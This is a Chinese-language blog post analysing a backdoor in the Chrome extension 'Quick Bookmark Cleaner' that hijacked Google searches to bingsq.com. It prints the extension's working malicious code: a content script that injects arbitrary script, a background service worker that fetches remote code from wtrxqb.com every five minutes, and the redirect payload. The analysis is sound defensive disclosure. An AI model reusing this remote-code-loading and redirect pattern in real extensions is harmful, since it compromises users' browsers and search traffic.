关于 Quick Bookmark Cleaner 浏览器插件的后门

起因是这样的,2022年12月10日下午的时候,发现用谷歌搜索的所有东西都被重定向到了必应的结果,根据我多年的不当人写后门的经验来看,肯定是被某个插件或者脚本劫持了。

在谷歌浏览器中搜索 colorpop 时,会被重定向到 http://bingsq.com/rd.php?q=colorpop&n=8004 这个结果,然后自动跳转到了必应的搜索结果

先禁用了暴力猴的所有脚本,发现不管用,可以几乎肯定是 Chrome 插件的问题了,然后打开开发者工具开始抓包,开启日志记录功能,看看是哪个傻逼插件写了后门。

结果,果然发现了一个名为 injected_content.js 奇怪的js文件被注入到了页面中,内容如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
postMessage({ type: "ready" });

window.addEventListener("message", (e) => {
  if (e?.data?.type !== "track") {
    return;
  }

  try {
    eval("1+1");
    const script = document.createElement("script");
    script.textContent = e.data.code;
    document.documentElement.appendChild(script);
  } catch (e) {}
});

不难看出,这是插件的框架内部监听了页面的 message 事件,然后执行了 eval("1+1"),如果没有报错,就会创建一个脚本,内容为 e.data.code,这个 e.data.code 里就是后门代码了。

果然,禁用了 Quick Bookmark Cleaner 插件以后,搜索功能正常了,开始进一步挖掘,看看这个 e.data.code 里到底写了什么

打开插件的管理页面:chrome://extensions/?id=ljfgijlbekebdhniagdekklbmmchhjja,找到 ”查看视图“ 这一栏,会发现有一个 Service Worker 文件,点进去,可以看到这个文件的内容,在 background.js 中,地址:chrome-extension://ljfgijlbekebdhniagdekklbmmchhjja/background.js

内容如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
const BASE_URL = 'https://wtrxqb.com/';

let tracking = ''

const updateTrackingCode = () => {
  tracking = fetch(`${BASE_URL}track.php?${Date.now()}`)
    .then((res) => res.text())
    .catch(() => '')
}

chrome.alarms.create('update-config', {periodInMinutes: 5})
chrome.alarms.onAlarm.addListener(updateTrackingCode)

updateTrackingCode()

chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
  switch (message.type) {
    case 'getTrackingCode':
      Promise.resolve().then(() => tracking).then(sendResponse)
      return true
    default:
      return false
  }
})

chrome.runtime.onInstalled.addListener(function (details) {
  if (details.reason === 'install') {
    fetch(`${BASE_URL}install.php`)
  }
})

这就是后门的完整代码了,可以看到,这个插件会定时向 https://wtrxqb.com/track.php 发送请求,获取后门代码,然后注入到页面中,这个后门代码的内容是一个 eval 函数,这个函数会执行 fetch 请求,然后把请求的结果发送到 https://wtrxqb.com/track.php,这个地址会返回远程的后门 js 代码。

1
(function () { const patterns = [ /google(?:\.\w{2,3}){1,2}\/search\?.*?q=(.*?)(&|$)/, ]; const pattern = patterns.find((p) => p.test(document.location.href)); if (!pattern) { document.documentElement.style.display = ''; return; } const [,query] = document.location.href.match(pattern); const redirectUrl = `https://bingsq.com/?n=40&q=${query}`; document.location.replace(redirectUrl); })();

不难看出,这段代码把所有的谷歌搜索结果给跳转到了 http://bingsq.com/rd.php?q=colorpop&n=8004 这个链接。

网上搜索 bingsq.com 这个网址会发现,不止一个插件装了这个后门。

最后: 不知道是不是必应给了推广费还是什么情况,总之少装点chrome插件吧,能不用就不用,远程执行后门的情况太多了,反馈给谷歌被下架的几率也小的离谱。

署名 - 非商业性使用 - 禁止演绎 4.0